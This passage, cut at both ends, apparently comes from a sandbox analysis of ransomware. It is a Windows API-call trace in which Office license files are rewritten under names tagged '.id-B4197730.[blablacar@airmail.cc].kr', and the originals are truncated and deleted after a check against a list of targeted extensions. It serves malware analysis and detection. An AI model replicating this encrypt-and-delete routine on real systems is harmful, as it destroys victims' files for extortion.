(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0193.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.377] lstrlenW (lpString=".doc") returned 4 [0193.377] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.377] lstrlenW (lpString=".docx") returned 5 [0193.377] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.377] lstrlenW (lpString=".pdf") returned 4 [0193.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.377] lstrlenW (lpString=".xls") returned 4 [0193.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.377] lstrlenW (lpString=".xlsx") returned 5 [0193.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.377] lstrlenW (lpString=".ppt") returned 4 [0193.377] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.377] lstrlenW (lpString=".zip") returned 4 [0193.377] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.377] lstrlenW (lpString=".rar") returned 4 [0193.377] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString=".bz2") returned 4 [0193.378] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString=".7z") returned 3 [0193.378] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString=".dbf") returned 4 [0193.378] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString=".1cd") returned 4 [0193.378] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString=".jpg") returned 4 [0193.378] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString=".doc") returned 4 [0193.378] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString=".docx") returned 5 [0193.378] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.378] lstrlenW (lpString=".pdf") returned 4 [0193.378] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString=".xls") returned 4 [0193.378] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString=".xlsx") returned 5 [0193.378] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.378] lstrlenW (lpString=".ppt") returned 4 [0193.378] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.378] lstrlenW (lpString=".zip") returned 4 [0193.378] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.379] lstrlenW (lpString=".rar") returned 4 [0193.379] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.379] lstrlenW (lpString=".bz2") returned 4 [0193.379] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.379] lstrlenW (lpString=".7z") returned 3 [0193.379] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.379] lstrlenW (lpString=".dbf") returned 4 [0193.379] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.379] lstrlenW (lpString=".1cd") returned 4 [0193.379] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0193.379] lstrlenW (lpString=".jpg") returned 4 [0193.379] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.379] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.379] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0193.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.381] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3219) returned 1 [0193.381] CloseHandle (hObject=0x370) returned 1 [0193.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0193.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.382] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.382] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.383] GetLastError () returned 0x0 [0193.383] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xc93, lpOverlapped=0x0) returned 1 [0193.386] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xca0, lpOverlapped=0x0) returned 1 [0193.387] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.387] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x122, lpOverlapped=0x0) returned 1 [0193.388] SetEndOfFile (hFile=0x53c) returned 1 [0193.388] CloseHandle (hObject=0x53c) returned 1 [0193.388] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.388] SetEndOfFile (hFile=0x370) returned 1 [0193.391] CloseHandle (hObject=0x370) returned 1 [0193.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString=".doc") returned 4 [0193.393] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".docx") returned 5 [0193.393] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.393] lstrlenW (lpString=".pdf") returned 4 [0193.393] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".xls") returned 4 [0193.393] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".xlsx") returned 5 [0193.393] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.393] lstrlenW (lpString=".ppt") returned 4 [0193.393] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString=".zip") returned 4 [0193.393] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".rar") returned 4 [0193.393] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".bz2") returned 4 [0193.393] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString=".7z") returned 3 [0193.393] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString=".dbf") returned 4 [0193.393] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString=".1cd") returned 4 [0193.393] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.393] lstrlenW (lpString=".jpg") returned 4 [0193.393] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.394] lstrlenW (lpString=".doc") returned 4 [0193.394] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".docx") returned 5 [0193.394] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.394] lstrlenW (lpString=".pdf") returned 4 [0193.394] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".xls") returned 4 [0193.394] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".xlsx") returned 5 [0193.394] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.394] lstrlenW (lpString=".ppt") returned 4 [0193.394] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.394] lstrlenW (lpString=".zip") returned 4 [0193.394] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".rar") returned 4 [0193.394] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".bz2") returned 4 [0193.394] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString=".7z") returned 3 [0193.394] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.394] lstrlenW (lpString=".dbf") returned 4 [0193.394] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.394] lstrlenW (lpString=".1cd") returned 4 [0193.394] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0193.395] lstrlenW (lpString=".jpg") returned 4 [0193.395] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.395] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.395] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0193.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.396] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3103) returned 1 [0193.396] CloseHandle (hObject=0x370) returned 1 [0193.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0193.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.397] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.397] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.397] GetLastError () returned 0x0 [0193.397] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xc1f, lpOverlapped=0x0) returned 1 [0193.399] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xc20, lpOverlapped=0x0) returned 1 [0193.400] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.400] SetEndOfFile (hFile=0x53c) returned 1 [0193.401] CloseHandle (hObject=0x53c) returned 1 [0193.401] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.401] SetEndOfFile (hFile=0x370) returned 1 [0193.404] CloseHandle (hObject=0x370) returned 1 [0193.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.405] lstrlenW (lpString=".doc") returned 4 [0193.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".docx") returned 5 [0193.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.405] lstrlenW (lpString=".pdf") returned 4 [0193.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".xls") returned 4 [0193.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".xlsx") returned 5 [0193.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.405] lstrlenW (lpString=".ppt") returned 4 [0193.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.405] lstrlenW (lpString=".zip") returned 4 [0193.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".rar") returned 4 [0193.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".bz2") returned 4 [0193.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString=".7z") returned 3 [0193.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.405] lstrlenW (lpString=".dbf") returned 4 [0193.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.406] lstrlenW (lpString=".1cd") returned 4 [0193.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.406] lstrlenW (lpString=".jpg") returned 4 [0193.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.406] lstrlenW (lpString=".doc") returned 4 [0193.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".docx") returned 5 [0193.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.406] lstrlenW (lpString=".pdf") returned 4 [0193.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".xls") returned 4 [0193.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".xlsx") returned 5 [0193.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.406] lstrlenW (lpString=".ppt") returned 4 [0193.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.406] lstrlenW (lpString=".zip") returned 4 [0193.406] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".rar") returned 4 [0193.406] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".bz2") returned 4 [0193.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.406] lstrlenW (lpString=".7z") returned 3 [0193.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.407] lstrlenW (lpString=".dbf") returned 4 [0193.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.407] lstrlenW (lpString=".1cd") returned 4 [0193.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0193.407] lstrlenW (lpString=".jpg") returned 4 [0193.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.407] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.407] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0193.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.408] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3380) returned 1 [0193.408] CloseHandle (hObject=0x370) returned 1 [0193.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0193.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.409] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.409] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.410] GetLastError () returned 0x0 [0193.410] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xd34, lpOverlapped=0x0) returned 1 [0193.640] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xd40, lpOverlapped=0x0) returned 1 [0193.641] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.641] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.641] SetEndOfFile (hFile=0x53c) returned 1 [0193.641] CloseHandle (hObject=0x53c) returned 1 [0193.642] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.642] SetEndOfFile (hFile=0x370) returned 1 [0193.649] CloseHandle (hObject=0x370) returned 1 [0193.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.651] DeleteFileW (lpFileName="C:\\Program 